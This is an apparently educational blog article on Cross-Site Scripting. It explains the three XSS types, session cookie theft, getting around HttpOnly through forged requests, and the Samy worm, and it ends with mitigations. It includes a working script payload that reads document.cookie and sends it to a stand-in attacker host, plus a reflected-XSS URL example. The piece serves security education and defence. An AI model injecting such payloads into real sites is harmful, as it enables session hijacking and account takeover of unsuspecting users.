HackCert
Advanced 11 min read May 25, 2026

XSS Exploitation: Stealing Session Cookies via JavaScript Injection

Understand the mechanics of Cross-Site Scripting (XSS) attacks. Learn how cybercriminals inject malicious JavaScript to compromise user sessions.

Rokibul Islam
Red Team Operator
share
XSS Exploitation: Stealing Session Cookies via JavaScript Injection
Overview

In the modern architecture of the World Wide Web, JavaScript is the undisputed engine of interactivity. It transforms static HTML documents into dynamic, responsive web applications. However, this immense power introduces a critical vulnerability paradigm. If a web application cannot distinguish between legitimate JavaScript provided by the developer and malicious JavaScript injected by an attacker, the application falls victim to Cross-Site Scripting (XSS).

XSS remains consistently ranked among the most prevalent and dangerous web application vulnerabilities by the OWASP Top 10. While often dismissed by junior developers as merely a nuisance that allows attackers to spawn annoying pop-up alerts (alert(1)), XSS is, in reality, a devastating attack vector. When exploited properly, XSS allows cybercriminals to bypass the Same-Origin Policy, hijack user sessions, deface websites, and force users' browsers to perform unauthorized actions. This article explores the deep mechanics of XSS exploitation, focusing on the sophisticated techniques used to steal session cookies and compromise user accounts.

Core Concepts: The Mechanics of JavaScript Injection

The fundamental flaw that enables XSS is the improper handling of user input. When a web application accepts input from a user (e.g., via a search bar, a comment section, or a profile update) and echoes that input back onto the web page without properly sanitizing or encoding it, an injection vulnerability occurs.

Because modern web browsers are designed to interpret and execute any JavaScript enclosed within <script> tags (or embedded in HTML event handlers like onload or onerror), they will execute the attacker's injected code as if it were legitimate code originating from the trusted website.

Crucially, because this malicious JavaScript executes within the context of the vulnerable website, it inherits the website's privileges. It can access the Domain Object Model (DOM), read the user's cookies associated with that domain, and make HTTP requests back to the server on behalf of the user.

The Three Pillars of XSS

XSS vulnerabilities are generally categorized into three distinct types, based on how the malicious payload is delivered and executed.

1. Reflected XSS (Non-Persistent): This is the most common type of XSS. The malicious payload is embedded directly into the URL or a form submission. When the user clicks the crafted link, the server receives the payload in the HTTP request and immediately "reflects" it back into the HTTP response. Example: An attacker sends a phishing email containing a link like https://vulnerable-bank.com/search?q=<script>malicious_code()</script>. When the victim clicks the link, the bank's server processes the search query and returns an HTML page saying, "You searched for: <script>malicious_code()</script>". The victim's browser immediately executes the script.

2. Stored XSS (Persistent): Stored XSS is significantly more dangerous because it does not require the attacker to trick individual victims into clicking a specific link. The attacker injects the malicious payload into the application's database. Example: An attacker posts a comment on a popular forum containing a malicious script. The forum stores this comment in its database. Subsequently, every user who navigates to that forum page will unknowingly download the comment and execute the malicious JavaScript in their browser.

3. DOM-Based XSS: In DOM-based XSS, the vulnerability exists entirely on the client side (within the browser). The server is not involved in reflecting or storing the payload. The flaw occurs when the application's legitimate JavaScript takes input from a controllable source (like the URL hash fragment or window.name) and passes it to a dangerous execution sink (like eval() or innerHTML) without proper sanitization.

The Ultimate Prize: Stealing Session Cookies

While XSS can be used to redirect users to malware domains or silently mine cryptocurrency in their browsers, the most common and devastating objective of XSS exploitation is session hijacking.

HTTP is a stateless protocol. To keep a user logged in as they navigate from page to page, web applications assign the user a unique Session ID, typically stored in a cookie. If an attacker can obtain this Session ID, they can inject it into their own browser and seamlessly hijack the victim's authenticated session, bypassing passwords and multi-factor authentication (MFA).

The Cookie Theft Payload

To steal a cookie via XSS, the attacker must execute JavaScript that reads the document.cookie object and transmits it to an attacker-controlled server.

A classic cookie theft payload looks like this:

<script>
  var stolen_cookie = document.cookie;
  var attacker_server = "http://evil-hacker.com/log?cookie=";
  new Image().src = attacker_server + encodeURIComponent(stolen_cookie);
</script>

When this script executes in the victim's browser, it reads the session cookie. It then creates an invisible HTML Image object and sets its source URL to the attacker's server, appending the stolen cookie to the URL query string. The browser automatically attempts to fetch this "image," thereby transmitting the highly sensitive Session ID directly to the attacker's logs.

Bypassing HttpOnly

In response to rampant XSS cookie theft, the web security community introduced the HttpOnly flag. When a server sets a session cookie with the HttpOnly flag, it instructs the web browser to prevent client-side JavaScript (like document.cookie) from accessing that cookie.

If the HttpOnly flag is implemented correctly, the simple cookie theft payload described above will fail. However, HttpOnly does not neutralize XSS; it merely forces attackers to change their tactics.

If an attacker cannot steal the cookie directly, they can utilize XSS to perform actions on behalf of the user, a technique known as Cross-Site Request Forgery via XSS (XSS-CSRF). Because the malicious script runs in the context of the trusted site, the browser will automatically include the HttpOnly session cookie with any HTTP requests initiated by the script.

For example, instead of stealing the cookie, the attacker's script could silently issue an asynchronous (AJAX/Fetch) POST request to the application's /change-email endpoint, changing the victim's account email address to the attacker's email. The attacker then initiates a password reset, taking complete control of the account without ever needing to see the Session ID.

Real-world Examples of XSS Exploitation

Example 1: The Samy Worm (MySpace) The most famous XSS attack in history occurred on the social network MySpace in 2005. A researcher named Samy Kamkar discovered a Stored XSS vulnerability in the user profile section. He injected a payload that forced anyone who viewed his profile to automatically add him as a friend and copy the malicious payload into their own profile. Because of the viral nature of the Stored XSS, the worm spread exponentially, infecting over one million profiles within 20 hours and forcing MySpace to shut down its servers to contain the spread.

Example 2: Targeted Session Hijacking A Red Team operator discovers a Reflected XSS vulnerability in the administrative portal of a target organization. The operator crafts a highly targeted spear-phishing email and sends it to the IT Administrator. The email contains a link to the vulnerable administrative portal, with an obfuscated XSS payload embedded in the URL. When the Administrator clicks the link while logged in, the payload executes. It doesn't steal a cookie (due to HttpOnly); instead, it uses the Administrator's active session to silently create a new administrative account with credentials known to the operator. The operator then logs in directly using the newly created account.

Best Practices & Mitigation

Defending against XSS requires a comprehensive, defense-in-depth approach to how web applications handle untrusted data.

  1. Context-Aware Output Encoding: This is the primary defense against XSS. Before any user-controllable data is rendered in the browser, it must be encoded according to the specific context where it will be placed (e.g., HTML body, JavaScript variable, CSS style). Encoding converts dangerous characters (like < and >) into their safe HTML entity equivalents (like &lt; and &gt;), ensuring the browser interprets the input as data, not as executable code.
  2. Content Security Policy (CSP): CSP is a powerful HTTP response header that allows site administrators to declare approved sources of content that the browser may load. A robust CSP can significantly mitigate the impact of XSS by preventing the execution of inline scripts (the primary vector for XSS) and restricting the domains to which the browser can send data (preventing the exfiltration of stolen cookies to attacker-controlled servers).
  3. Utilize Modern Frameworks: Modern frontend frameworks like React, Angular, and Vue.js automatically employ contextual output encoding by default. While they are not entirely immune to XSS (especially DOM-based variants), using these frameworks significantly reduces the risk of traditional Reflected and Stored XSS vulnerabilities compared to legacy jQuery or vanilla JavaScript applications.
  4. Enforce HttpOnly and Secure Flags: Always set the HttpOnly flag on sensitive session cookies to protect them from direct theft via JavaScript. Additionally, the Secure flag must be set to ensure cookies are only transmitted over encrypted HTTPS connections, protecting them from network interception.
  5. Input Validation and Sanitization: While output encoding is the primary defense, validating input against a strict allowlist (e.g., ensuring a phone number field only contains digits) and sanitizing rich text input using robust libraries (like DOMPurify) provides a necessary secondary layer of defense.
Key Takeaways

Cross-Site Scripting (XSS) is not merely a theoretical vulnerability used to display annoying pop-ups; it is a potent exploitation vector that undermines the fundamental trust relationship between the user and the web application. By injecting malicious JavaScript, cybercriminals can bypass authentication boundaries, hijack sensitive user sessions, and execute devastating administrative actions.

While security mechanisms like the HttpOnly flag have mitigated simple cookie theft, they do not solve the underlying problem of XSS. Attackers continuously adapt, utilizing advanced techniques like XSS-CSRF and DOM manipulation to achieve their objectives. To truly secure web applications, developers must prioritize context-aware output encoding, implement stringent Content Security Policies, and adopt modern frameworks that prioritize security by design. Only through this rigorous, multi-layered approach can the devastating impact of XSS exploitation be effectively neutralized.

Ready to test your knowledge? Take the XSS Exploitation MCQ Quiz on HackCert today!

Related articles

back to all articles